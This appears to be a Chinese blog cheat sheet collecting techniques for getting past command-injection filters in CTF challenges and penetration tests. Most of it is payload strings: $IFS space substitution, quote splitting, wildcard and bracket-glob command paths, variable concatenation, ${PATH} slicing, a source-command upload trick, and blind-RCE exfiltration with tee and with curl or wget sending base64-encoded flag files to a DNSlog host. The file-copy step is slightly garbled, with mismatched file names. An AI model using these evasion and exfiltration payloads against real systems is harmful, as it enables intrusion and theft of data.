目录
前言:
一、常见可代替命令:
二、空格绕过
三、简单符号绕过正则
1、单双引号法
2、跨行符'\'绕过
四、通配符绕过正则
1、可以通配得到的命令
base64:
bzip2:
2、字符串通配
五、变量拼接绕过正则
六、内联执行
七 、“${}”截取环境变量拼接
八、[]中括号匹配绕过
九、source命令:
十、无回显rce:
无回显的执行函数:
1、复制到可访问文件
tee命令:
2、dnslog外带数据法
3、反弹shell:
此文中的RCE绕过方法,都是博主在CTF题目以及渗透实战中所遇到的,可能有疏漏或不对的地方,还望各位大佬多多指出,感谢!
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
ls:查看目录
dir:查看目录
> < <> 重定向符
%20(space)
%09(tab)
$IFS$9
${IFS}(最好用这个)
$IFS
{cat,flag.txt} 在大括号中逗号可起分隔作用
ca''t flag.txt
ca""t flag.txt
因为单双引号中并没有字符,相当于在其中没有添加任何字符,命令意思不变
跨行符的意思为接着上一行的内容,转到下一行接着输入命令,上下行均是一条命令
通配符可以替代任何字符
shell通配符有:
- * :表示通配字符0次及以上
- ? : 表示通配字符0或
/bin/base64 可以通配为:
/???/????64
作用为将文件以base64编码形式输出
/usr/bin/bzip2 可以通配为:
/???/???/????2
作用为将文件压缩成后缀为bz2的压缩文件
flag.php ==> flag.php.bz2
flag.php ==> flag.???
flag*
……
当然可以用通配符去通配一些命令,但不能全名称通配
例如:
/bin/ca?
相当于cat命令
可以在shell语句里定义变量,将被过滤的字符串分成部分绕过
以flag.php为例:
x=lag;cat f$x.php
相当于:
cat flag.php
内联执行就是在一条shell语句中内嵌子shell语句,用主shell语句处理子语句的结果
可用于内联语句的符号you ${},``(反引号)
例如:
echo `ls`
echo ${ls}
相当于把ls的结果使用echo输出
关于 ${} 用法可查看我的这篇博客Linux 变量操作符“${}“_linux 变量${}_Elitewa的博客-CSDN博客
例子
${PATH:14:1}${PATH:5:1} flag.txt
在此环境中相当于 nl flag.txt
例如[a-c] 代表匹配 a-b之间的字符,包括a,b字符本身
匹配范围为当前目录
例子
/[a-c][h-j][m-o]/[b-d]a[s-u] flag.txt
相当于
/bin/cat flag.txt
因为[]匹配范围只在当前路径
所以要为bin绝对路径
source命令,又称点命令,可以用点号( . ),代替
该命令可以读取并执行文件中的命令
可构建文件上传表单,上传命令文件执行
表单为:
POST数据包POC
get请求为
?c=.+/???/????????[@-[]
一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
注意:通过
.去执行sh命令不需要有执行权限
可以参考p神的这篇文章
无字母数字webshell之提高篇 | 离别歌
exec()
shell_exec()
`` (反引号)
这些需要php函数echo才可以输出结果
tee 命令可用于创建或追加写入文件
可配合cat等打开文件命令和管道符将flag写入到规定文件中
例如
先将根目录复制到某个文件,然后访问查看
ls /| tee ls.txt
然后输入 url/1.txt 即可查看根目录
再复制flag文件,然后访问查看
cat /flag.php | tee flag.txt
然后输入 url/falg.txt 即可查看根目录
还可以使用其他的复制方法
copy /flag.php flag.txt
mv /flag.php flag.txt
需要dnslog平台,可自己搭建
curl dnslog平台url/`cat flag.php|base64`
wget dnslog平台url/`cat flag.php|base64`
以后写提权的时候写